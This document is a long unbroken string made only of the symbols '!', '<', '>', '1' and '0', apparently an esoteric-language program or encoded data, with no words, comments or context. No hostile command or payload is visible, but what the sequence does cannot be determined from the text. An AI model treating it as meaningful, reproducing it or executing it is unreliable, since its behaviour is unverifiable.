!<>1>0>1!1>0>1>0>1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!10110>1!1>0>1!<>1>0>1!1!1>0>1!1!1!1!1>0><>10110>1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>10110>1!1!<>1!1!1!1>0>1>0>1!1!1!1>0><>1>0>1!1!1>0>1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1!1!<>1!1!1!1>0>1>0>1!1!1!1>0><>10110>1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1>0>1!1!1!1>0><>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!10110>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0><>1>0>1!<>1>0>1!1!1>0>1!1!1!1!1>0><>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1!1!1!1!1!<>1>0>1!1!1>0>1!1!1!1!1>0><>1>0>10110>1!1!1>0>1!1>0>1!1>0>1>01010111>10111>01!<>1>0>1!1!1>0>1!1!1!1!1>0><>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0><>1!1!1!1>0>1!1!1!<>1>0><><>1!1>0>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!<>1>0><><>1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1!1!1!1!<>1>0><><>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1!1!1!1!<>1>0><><>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!<>1!1!1!1!1>0>1>0><>1!<>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!<>1>0><>1!<>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1!1!1!1!<>1>0><>1!<>1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!<>1>0><>1!1!1!<>1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1>0>10110>1!1!1!1!1!1!<>1>0><>1!1!1!<>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1!<>1>0><>1!1!1!<>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!10110>1!1!1>0>1!1!1!1!1!<>1>0><><>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!<>1>0><><>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1!<>1>0><><>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!<>1!1!1!1>0>1>0>1!1!1!1>0><>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!<>1!1!1!1>0>1>0>1!1!1!1>0><>1!1!1>0>1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1!1!1!10110>1!1!<>1!1!1!1>0>1>0>1!1!1!1>0><>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!<>1!1!1!1>0>1>0>1!1!1!1>0><><>1>0>10110>1!1!1!1!1>0>1!1!1!1!10110>1!1!<>1!1!1!1>0>1>0>1!1!1!1>0><>1!1>0>1>0>101101010111>01!1!1!1>0>1!10110>1!1>0>1!1!1!<>1!1!1!1>0>1>0>1!1!1!1>0><>1!1!1>0>10110>1!1>0>10110>1!1!1!1!1>0>1!1!1!1!10110>1!1!<>1!1!1!1>0>1>0>1!1!1!1>0><>1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1!1!<>1!1!1!1>0>1>0>1!1!1!1>0><>1!1!1!10110>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!<>1!1!1!1>0>1>0>1!1!1!1>0><>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1>0>1!1!<>1!1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!<>1!1!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!10110>1!1!1!1!<>1!1!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1>0>1!1!<>1!1!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1!1!<>1!1!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!<>1!1!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!<>1!1!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!<>1!1!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!<>1!1!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1!1>0>1>01010111>01!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!<>1!1!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1!1>0>1>01010111>01!1!1!1>0>1!10110>1!1>0>1!1!1!<>1!1!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1!1>0>1>0>1!1>0>10110>1!1!1!1!1>0>1!1!1!1!10110>1!1!<>1!1!1!1>0>1!1!1!1!1!1!<>1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1!<>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!10110>10110>1!1!1!1!<>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1>0>1!1!1!<>1>0>10110>1!1!1!1!<>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1010>010110>1!1!1!1!1>0>1!1!<>1!1>0>10110>1!1!1!1!<>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1010>01>01010111>01!1!1!1!<>10110>1!1!1!1!<>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1!1>0>1>0>10110>1!1!1!<>1>0>1!10110>1!1!1!1!<>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1010>01>0>10110>1!1!1!1!<>1!10110>1!1!1!1!<>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1>0>1!1!10110>1!1!1!<>1!1!10110>1!1!1!1!<>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1>01010111>01>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1010>010110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!<>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1>0>1!1>0>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1!<>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!1!<>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1>0>10110>1!1>0>1!1!1!<>1!1>0>1!1>0>1>0>1!1!1!1!<>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1>0>1!1!1!1!1!<>1!1>0>1>0>1!1!1!1!<>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1>0>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1!1!<>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1!1!<>1!1!1>0>1>0>1!1!1!1!<>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!<>1>0>1!1!1!1!<>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!<>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>101101010111>01!1>0>10110>1!1!1!1!1!1!1!1010>01>0>1010>01>0>1!1!1>0>1!1!1!<>1!1>0>1>0>1!1>0>1!1!1>0>1!<>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1>0>1!1>0>1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!<>1!1>0>1>0>1!1>0>1!1!1>0>1!<>1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1!<>1>0>1!1!1>0>1!1!1!1!1!1!<>1>0>1!1!1!1>0>1!1!1!<>1>0>1!1>0>1!1>0>1!1!1>0>1!<>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!<>1>0>1!1!1!1!1!1010>01010>01>0>1!1>0>1!1!1!1>0>1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!1!<>1!1>0>1!1>0>1!1010>01>0>10110><>1>0>1!1!1>0>1!1!1!1!1!1010>01010>01>01010111>01!1!1!<>1>0>1!1>0>1!1>0>1!1!1!1!<>1!1!1>0>1!1!1!1010>010110>1!1!<>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!10110>10110>1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!1!<>1!1!1>0>1!1!1!1010>010110><>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!1!<>1!1!1>0>1!1!1010>01>0>1!1>0>1>0>1!<>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1010>01>0>10110>1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!1!<>1!1>0>1>0>1!1!1010>01>0>1!1>0>1>0>1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!<>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1!<>1!1!1>0>1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!1!<>1!<>1!1>0>1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1!<>1!1!1>0>1!1!1!1!1010>01>0>1>0><>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1!<>1!1>0>1>0>1!1!1010>01>0>1>0>1!1>0>1!<>1!10110>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!<>1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1!1!<>1!1>0>1!1!1>0>1!1!1!1!<>1!1!1>0>1!1!1010>01>0>1>0>1!1>0><>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1>0>1!1!1!1!<>1!1>0>1!1!1>0>1!1!1!1!<>1!1>0>1>0>1!1!1!1010>01>0>1!1>0>1!1!<>10110>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!<>1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1!1!<>1>0>1!1!1!1>0>1!1!1!1!<>1!1!1>0>1!1!1!1010>01>0>1!1>0><>1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1>0>1!1!1!1!1!<>1!1>0>1>0>1!1!1!1!1!<>1!1!1>0>1!10110>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!<>1>0>10110>1!1!1!1!1!1!<>1!1!1!1>0>1!<>1>0>1!1>0>1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!<>1!1!1>0>1!10110>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0><>1>0>10110>1!1!1!1!1!1!1!<>1!1!1!1>0>1!<>1>0>1!1>0>1!1!1!1!1!1!<>10110>1!1>0>1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!<>1!10110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!<>1>0>1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!<>1!10110>1!1>0>1>0>1!1010>01>0><>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!<>1!10110>1!1>0>1>0>1!1010>01>0>1!<>1!1!1010>01>0>1!<>1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1>0>1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!<>1!10110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!<>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1>0>1!1!1!1!1!1!1!1!<>1>0>10110>1!1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!<>1!10110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!<>1!1010>01>0>1!<>1>0>1!1!1!1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!<>1!10110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!<>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!<>1!10110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!<>1>0>1!1010>01>0>1!<>1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1!1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!<>1!10110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1>0>1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!<>1!10110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!<>1010>01>0>1!<>1>0>1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!<>1!10110>1!1>0>1>0>1010>01>0>1!<>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!<>1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0><>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!<>1!1>0>1!1!1!1!1!1!<>1!1!1!1>0>1!<><>1!1!<>1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!<>1!1>0>1!1>0>1>0>1!1!1!1!<>1!1>0>1>0>1!1!1!1>0>1!1!<>1!1!<1010111>010110>1!1!1!1>0>1!1!1!<>1>0>1!1>01010111>01!<>1!10110>1!1!1!1>0>1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1!1!<>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!<1010111>01!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1>0>1!1!<>1!1!1!1!10110>1!1!1!<>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!<>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!<>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1>01010111>01!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!<>10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!<1010111>01!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1!<>1!1!10110>1!1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1>01010111>01!1>0>1!1!1!1>0>1!1!1!1!<>1!1>0><><>1>0>1!1!1>0>1!1!1!1!1>0><>10110>1!1!1!1!1!1!<>1!1>0>1!1!1!1!1>0>1!1!1!1!1!<>1!1>0>1!1!1!1>0><>1>0>1!1>0>1!1!1!1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1!<>1!1>0>1!1>0>1>0>1!1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1>01010111>01!1!1!1>0>1!1!1!1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1!<>1!1>0>1>0>1!1!1!1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1!<>1!1!1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1>0><>1!1>0>1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!<>1!1!1>0>1>0>1!1>0>1!1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1!1>0>1>0>1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!<>1!1>0>1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!10110>1!1!<>1!1!10110>1!1!1!<>1!1>0>1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!10110>1!1!1!1!1!1!10110>1!1!1!1>0>1>0>1!1!1!<>1!1>0>1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!10110>1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!10110>1!1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1!1!<>1!1>0>1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1>0>1>0><>1!1!1>0>10110>1!1!1!1!<>1!1>0>1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1>0>1>0><>1!1!1>0>1>0>1!1>0>1!1!1!1!<>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!10110>10110>1!1!1>0>1>0>1!<>1>0>1!1!1>0>1!1!1!1!1!<>1!1>0>1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!10110>1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!10110>1!10110>1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1!<>1!1>0>1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!1>0>1!1!<>1!1!1!1!10110>1!1!1!<>1!1>0>1>0>1!1>0>1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!<>10110>1!1!1>0>1!1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0><>1>0>1!1!1>0>1!1>0>1>0>1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0><1010111>01>0>1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!<1010111>01!1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0><>1>0>1!1!1>0>1!1>0>1>0>1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0><1010111>01>0>1!1!1!<>1>0>1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!<>1>0>1!1>0>1!1>0>1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1!<>1!1!1!1>0>1!1>0>1!1!1!<>1>0><><>10110>1!1>0>1!1!1!1>0><>1>0>1!1>0>1>0>1!1!1>0>1!1!1!<>1>0><><>10110>1!1>0>1!1!1!1>0><>1>0>1!1!1>0>1!1!1>0>1!1!1!<>1>0>1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1>0>1!1!1!<>10110>1!1>0>1>0>1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0><>10110>10110>1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1!<>1!1!10110>1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1!<>1!1>0>1!1>0>1>0>1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1!<>1!1!1!1!1>0>1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!<>1>0>1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1>0>1!1>0><>1>0>10110>1!1>0>1!1!1!1!<>1>0>1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1!1>0>1!1>0>1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1!<>1>0><><>10110>1!1>0>1!1!1!1>0>1!<>1>0>1!1!1!1>0>1!1!1!1!<>1>0><><>10110>1!1>0>1!1!1!1>0><>1!1!1!1!1>0>1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1>0>1!1>0><>1>0>1!1!1>0>1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1!<>1!1>0>1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1>0>1!1!1!<>10110>1!1!1>0>1!1!1!<>1>0>1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1!1>0>1>0>1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!<>1>0>1!1!1>0>10110>1!1!1!<>1>0>1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!<>1>0>1!10110>1!1!1!<>1>0>1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1!1!10110>1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!<1010111>01!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!<>1!1>0>1!1>0>1!1>0>1>0>1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1!<>1>01010111>01!1!<>1!1!1!1!10110>1!1!1!<>1!1>0>1>0>1!1>0>1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1!1!1!1!1!1!10110>1!1!1>0>1!1>0>1!1!1!<>1